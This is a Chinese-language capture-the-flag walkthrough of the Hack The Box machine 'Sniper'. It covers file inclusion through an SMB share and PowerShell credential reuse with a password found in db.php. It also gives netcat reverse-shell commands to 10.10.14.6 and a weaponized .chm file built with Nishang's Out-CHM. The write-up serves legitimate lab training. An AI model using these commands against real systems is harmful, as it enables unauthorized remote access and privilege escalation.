端口扫描
HTTP(TCP 80)、NetBios/SMB(TCP 135、139、445)和 RPC 端口(TCP 49667)
是 Windows 10 或 Server 2016/2019。
window的远程文件包含
看80
大概看一下功能点
扫描目录
gobuster -u http://10.10.10.151 -w 'C:\Tools\dirbuster-lists\directory-list-lowercase-2.3-medium.txt' -x php -o scans\gobuster-root-php
/user
重定向至/user/login.php
:
我没有凭证,但有一个注册链接,可以带我到/user/registration.php
当我创建账户时,我会被重定向到登录页面。当我登录时,只有一个正在建设中的页面:
参数中包含一个本地文件lang
。当我尝试包含具有相对路径的内容时,它不起作用,例如..\index.php
:
如果我使用绝对路径,例如\windows\win.ini
,页面就会加载,查看源代码,我可以在底部的内容中看到该文件:
用 samba 共享文件,以便我们可以测试我们的 RFI
使用 Samba
*apt-get install samba*
设置smb配置文件
*service smbd start”启动smbd服务器*
测试
可以用,让我们进行命令执行
将nc64放到smb里面
kali监听,反弹shell
获得密码利用powershell切换用户
由于我们在 webroot 目录中生成,我们还记得 Gobuster 扫描中有一个名为*user 的*目录,因此我们进入该目录并列出文件和文件夹
有一个名为 db.php 的有趣的 php 文件
检查一下用户,
利用上面获得的密码切换用户
以 Chris 的身份运行,并且一切正常:
PS C:\> hostname Sniper PS C:\> $user = "Sniper\Chris" PS C:\> $pass = "36mEAhz/B8xQ~2VM" PS C:\> $secstr = New-Object -TypeName System.Security.SecureString PS C:\> $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)} PS C:\> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr PS C:\> Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost sniper\chris
net user chris属于“远程管理用户”组
Invoke-Command -ScriptBlock { type \users\chris\desktop\user.txt } -Credential $cred -Computer localhost
回弹shell
Invoke-Command -ScriptBlock { \10.10.14.6\share\nc64.exe -e cmd 10.10.14.6 443 } -Credential $cred -Computer localhost
kali监听
提权root(.chm文件)
在 C 盘的根目录中,有一个\docs
iusr 无法访问的文件夹,但 chris 可以访问。它包含几个文件:
note.txt
谈论删除此文件夹中的文档:
C:\Docs>type note.txt type note.txt Hi Chris, Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it. Regards, Sniper CEO.
在 Chris 的下载文件夹中,有一个doc.chm
:
C:\Users\Chris\Downloads>dir Volume in drive C has no label. Volume Serial Number is 6A2B-2640 Directory of C:\Users\Chris\Downloads 04/11/2019 08:36 AM <DIR> . 04/11/2019 08:36 AM <DIR> .. 04/11/2019 08:36 AM 10,462 instructions.chm 1 File(s) 10,462 bytes 2 Dir(s) 17,685,372,928 bytes free
.chm
文件是 Windows 帮助文件html,因此这可能是 CEO 所说的文档。我将把它复制回 Windows VM 并检查一下:
Nishang有一个工具,Out-CHM
可以制作武器化.chm
文件。我将把它加载到我的 PowerShell 会话中:
PS > Import-Module .\Tools\nishang\Client\Out-CHM.ps1
使用
将 HTML Help Workshop 的路径传递给它(如果尚未安装,我可以安装它doc.chm
),它会写入我当前的目录。我会让它nc
在 AppLocker 安全目录中运行:
PS > Out-CHM -Payload "\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.6 443" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
-HHCPath
参数指定了 HTML Help Workshop
的路径,HTML Help Workshop
是一个微软提供的工具,用于创建和编译 CHM 文件。
将他传到kali上,
传到靶机
copy \10.10.14.6\share\doc.chm .
copy \10.10.14.6\share\nc64.exe \windows\system32\spool\drivers\color\
kali监听
rlwrap nc -lnvp 443